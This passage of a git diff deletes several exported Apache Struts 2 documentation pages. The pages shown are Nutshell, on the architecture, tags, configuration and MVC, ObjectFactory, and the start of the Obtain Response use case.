-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Nutshell</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="nutshell.html">Nutshell</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Nutshell</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=45368">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=45368">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=45368">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=45368">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=45368">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=45368">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p> The framework documentation is written for active web developers and assumes a working knowledge about how Java web applications are built. For more about the underlying nuts and bolts, see the <a shape="rect" class="exte [...]
-
-<h2 id="Nutshell-ApacheStruts2ArchitectureinaNutshell">Apache Struts 2 Architecture in a Nutshell</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> <span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="nutshell.data/struts2-arch.png"></span> </p></td><td colspan="1" rowspan="1" class="confluenceTd"><ol><li>The web browser requests a resource (/mypage.action, /reports/myreport.pdf, et cetera)</li><li>The Filter Dispatcher looks at the request and determines the appropriate Action< [...]
-</td></tr></tbody></table></div>
-
-
-<h2 id="Nutshell-StrutsTagsinanutshell">Struts Tags in a nutshell</h2>
-
-<p>The Struts Tags help you create rich web applications with a minimum of coding. Often, much of the coding effort in a web application goes into the pages. The Struts Tags reduce effort by reducing code.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;% User user = ... %&gt;
-&lt;form action="Profile_update.action" method="post"&gt;
-    &lt;table&gt;
-        &lt;tr&gt;
-            &lt;td align="right"&gt;&lt;label&gt;First name:&lt;/label&gt;&lt;/td&gt;
-            &lt;td&gt;&lt;input type="text" name="user.firstname" value="&lt;%=user.getFirstname() %&gt; /&gt;&lt;/td&gt;
-        &lt;/tr&gt;
-        &lt;tr&gt;
-            &lt;td&gt;&lt;input type="radio" name="user.gender" value="0" id="user.gender0" 
-                &lt;% if (user.getGender()==0) { %&gt; checked="checked" %&gt; } %&gt; /&gt;
-            &lt;label for="user.gender0"&gt;Female&lt;/label&gt;
-        &lt;/tr&gt;
-    &lt;/table&gt;
-&lt;/form&gt;
-...
-</pre>
-</div></div>
-
-<p>Looking over the markup, it's easy to see why Java web development without the aid from a modern framework is hard!  So far, we've only coded two controls, and there are six more to go! Let's rewrite and finish the form using Struts Tags.</p>
-
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> <span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="nutshell.data/nutshell.GIF"></span> </p></td><td colspan="1" rowspan="1" class="confluenceTd"> <div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:actionerror/&gt;
-&lt;s:form action="Profile_update" validate="true"&gt;
-    &lt;s:textfield label="Username" name="username"/&gt;
-    &lt;s:password label="Password" name="password"/&gt;
-    &lt;s:password label="(Repeat) Password" name="password2"/&gt;
-    &lt;s:textfield label="Full Name" name="fullName"/&gt;
-    &lt;s:textfield label="From Address" name="fromAddress"/&gt;
-    &lt;s:textfield label="Reply To Address" name="replyToAddress"/&gt;
-    &lt;s:submit value="Save" name="Save"/&gt;
-    &lt;s:submit action="Register_cancel" value="Cancel" name="Cancel"  onclick="form.onsubmit=null"/&gt;
-&lt;/s:form&gt;
-</pre>
-</div></div> <div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p> The Struts Tags also support validation and localization as first-class features. So not only is there less code, but there is <em>more</em> utility. </p>
-
-<p>In about the same amount of code as two conventional controls, the Struts Tags can create an entire data-input form with eight controls. Not only is there less code, but the code is easier to read and maintain. </p></div></div></td></tr></tbody></table></div>
-
-
-<h2 id="Nutshell-StrutsConfigurationinaNutshell">Struts Configuration in a Nutshell</h2>
-
-<p>A web application uses a deployment descriptor to initialize resources like filters and listeners. The web deployment descriptor is formatted as a XML document and named <code>web.xml</code>. Struts can either initialize its resources by scanning your classes using Java packages declared in this <code>web.xml</code> file, or you can have full control over the configuration via a configuration file, named <code>struts.xml</code>. These resources include action mappings, to direct input [...]
-
-<p>Here's a typical configuration (<code>struts.xml</code>) for a login workflow:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;struts&gt;
-    &lt;package name="default" extends="struts-default"&gt;
-        &lt;action name="Logon" class="mailreader2.Logon"&gt;
-            &lt;result name="input"&gt;/pages/Logon.jsp&lt;/result&gt;
-            &lt;result name="cancel" type="redirectAction"&gt;Welcome&lt;/result&gt;
-            &lt;result type="redirectAction"&gt;MainMenu&lt;/result&gt;
-            &lt;result name="expired" type="chain"&gt;ChangePassword&lt;/result&gt;
-        &lt;/action&gt;
-
-        &lt;action name="Logoff" class="mailreader2.Logoff"&gt;
-            &lt;result type="redirectAction"&gt;Welcome&lt;/result&gt;
-        &lt;/action&gt;
-    &lt;/package&gt;
-&lt;/struts&gt;
-</pre>
-</div></div>
-
-<p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> The framework provides general-purpose defaults, so we can start using Struts right away, "out of the box". Any factory defaults can be overridden in an application's configuration, as needed.</p>
-
-<h2 id="Nutshell-StrutsMVCinaNutshell">Struts MVC in a Nutshell</h2>
-
-<p>Struts is a <a shape="rect" class="external-link" href="http://struts.apache.org/primer.html#mvc">Model View Controller</a> framework. Struts provides Controller and View components, and integrates with other technologies to provide the Model. The framework's Controller acts as a bridge between the application's Model and the web View. </p>
-
-<p>To make it easier to present dynamic data, the framework includes a library of markup tags. The tags interact with the framework's validation and internationalization features, to ensure that input is correct and output is localized. The tag library can be used with JSP, FreeMarker, or Velocity. Of course, other tag libraries, JSTL, and AJAX can also be used, with or without the Struts tags. JavaServer Faces components are also supported.</p>
-
-<p>When a request is received, the Controller invokes an Action class. The Action class examines or updates the application's state by consulting the Model (or, preferably, an interface representing the Model). To transfer data between the Model and the View, properties can be placed on the Action class, or on a plain old JavaBean. </p>
-
-<p>Most often, the Model is represented as a graph of JavaBean objects. The Model should do the "heavy lifting", and the Action will act as a "traffic cop" or adapter. The framework provides sophisticated, automatic type conversion to simplify transfering data between rich domain objects and text-only HTTP requests. </p>
-
-<p>Struts is extensible. <em>Very</em> extensible. Every class deployed by the framework is based on an interface. We provide all the base classes an application may ever need, but if we missed something, it's easy to add your own. We provide the general-purpose framework, but you can still write <em>your</em> application <em>your</em> way.</p>
-
-<h2 id="Nutshell-IsStrutsthebestchoiceforeveryproject?">Is Struts the best choice for every project?</h2>
-
-<p>Apache Struts 2 helps you create an extensible development environment for enterprise-grade applications, based on industry standards and proven design patterns. If you need to write a very simple application, with a handful of pages, then you might consider a "Model 1" solution that uses only server pages.</p>
-
-<p>But, if you are writing a more complicated application, with dozens of pages, that need to be maintained over time, then Struts can help. For more about whether Model 1 or MVC/Model 2 is right for you, see <a shape="rect" class="external-link" href="http://www.javaworld.com/javaworld/jw-12-1999/jw-12-ssj-jspmvc.html" rel="nofollow">Understanding JavaServer Pages Model 2 architecture</a>. </p>
-
-<h2 id="Nutshell-PlatformRequirements">Platform Requirements </h2>
-
-<p>Struts 2 requires </p>
-
-<ul><li>Servlet API 2.4</li><li>JSP API 2.0</li><li>Java 5</li></ul>
-
-
-<p>For a full list of requirements, including dependencies used by optional plugins, see <a shape="rect" class="external-link" href="http://struts.apache.org/2.x/struts2-core/dependencies.html">Project Dependencies</a> </p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> An alternate set of JARs for Java 4 are also available. See the "J4" distribution. </p>
-
-<p></p>
-
-<h2 id="Nutshell-Next:">Next: <a shape="rect" href="ajax.html">AJAX</a></h2></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/objectfactory.html b/content/docs/objectfactory.html
deleted file mode 100644
index 82c571c..0000000
--- a/content/docs/objectfactory.html
+++ /dev/null
@@ -1,160 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>ObjectFactory</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="objectfactory.html">ObjectFactory</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">ObjectFactory</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27470">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27470">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27470">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27470">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27470">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27470">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>All objects created by the framework are instantiated by the ObjectFactory. The ObjectFactory provides the means of integrating the framework with IoC containers like Spring, Pico, Plexus, and so forth.</p><h2 id="ObjectFactory-Customize">Customize</h2><h3 id="ObjectFactory-ExtendObjectFactory">Extend ObjectFactory</h3><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-wa [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;"> struts.objectFactory=foo.bar.MyCustomObjectFactory
-</pre>
-</div></div><p>where foo.bar.MyCustomObjectFactory is the custom object factory.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">public class MyObjectFactory extends ObjectFactory {
-    .....
-}
-</pre>
-</div></div><h3 id="ObjectFactory-Definededicatedfactory">Define dedicated factory</h3><p>If you want to just extend one part of ObjectFactory, ie. to change how <a shape="rect" href="result-types.html">Result Types</a> are build, you can implement <code>ResultFactory</code> interface and register it with dedicated name, see <a shape="rect" href="plugins.html">Extension Points</a> for more details. Original ObjectFactory will use these dedicated factories to do the work. It's already don [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/obtain-response.html b/content/docs/obtain-response.html
deleted file mode 100644
index dab0112..0000000
--- a/content/docs/obtain-response.html
+++ /dev/null
@@ -1,182 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Obtain Response</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="contributors-guide.html">Contributors Guide</a>&nbsp;&gt;&nbsp;<a href="requirements.html">Requirements</a>&nbsp;&gt;&nbsp;<a href="use-cases.html">Use Cases</a>&nbsp;&gt;&nbsp;<a href="obtain-response.html">Obtain Response</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Obtain Response</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29365">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29365">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29365">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29365">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29365">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29365">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="ObtainResponse-Narrative">Narrative</h2>
-
-<blockquote>
-<p>Trillian goes to the MailReader website. As a first-time visitor, she needs to create an account to hold her email subscriptions. Trillian completes a form with her account information, and submits it to the system. </p>
-
-<hr>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Username </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> trillian </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Password </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> ****** </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> <em>b4b3L</em> </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p [...]
-
-
-<hr>
-
-<p>After registering, the system displays a <strong>Menu</strong>, so that Trillian can edit her profile, which includes her <strong>list of email subscriptions</strong>, or <strong>log off</strong>.</p></blockquote>
-
-<h2 id="ObtainResponse-Goal">Goal</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Goal </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Obtain Response</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Level </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> User Goal </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> (User Goal, Summary,  Subfunction) </p></td></tr><tr><th colspan="1" rowspan="1" c [...]
-
-
-<h2 id="ObtainResponse-MainSuccessScenario(MSS)">Main Success Scenario (MSS)</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Step </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Action </p></th></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> 1 </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Client submits request to web server.  </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> 2 </p></th><td colspan="1" rowspan="1" class="confluen [...]
-
-
-<h2 id="ObtainResponse-Extensions">Extensions</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Step </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Branching Action </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p>&#160;</p></td><td colspan="1" rowspan="1" class="confluenceTd"><p>&#160;</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> 1a    </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p>&#160;</ [...]
-
-
-<hr>
-
-<h2 id="ObtainResponse-PreconditionsandGuarantees">Preconditions and Guarantees</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Preconditions </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>&#160;</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Minimal Guarantees </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>&#160;</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Success Guarantees </p></th><td colspan="1" rowspan="1" class="c [...]
-
-
-<h2 id="ObtainResponse-StakeholdersandInterests">Stakeholders and Interests</h2>
-
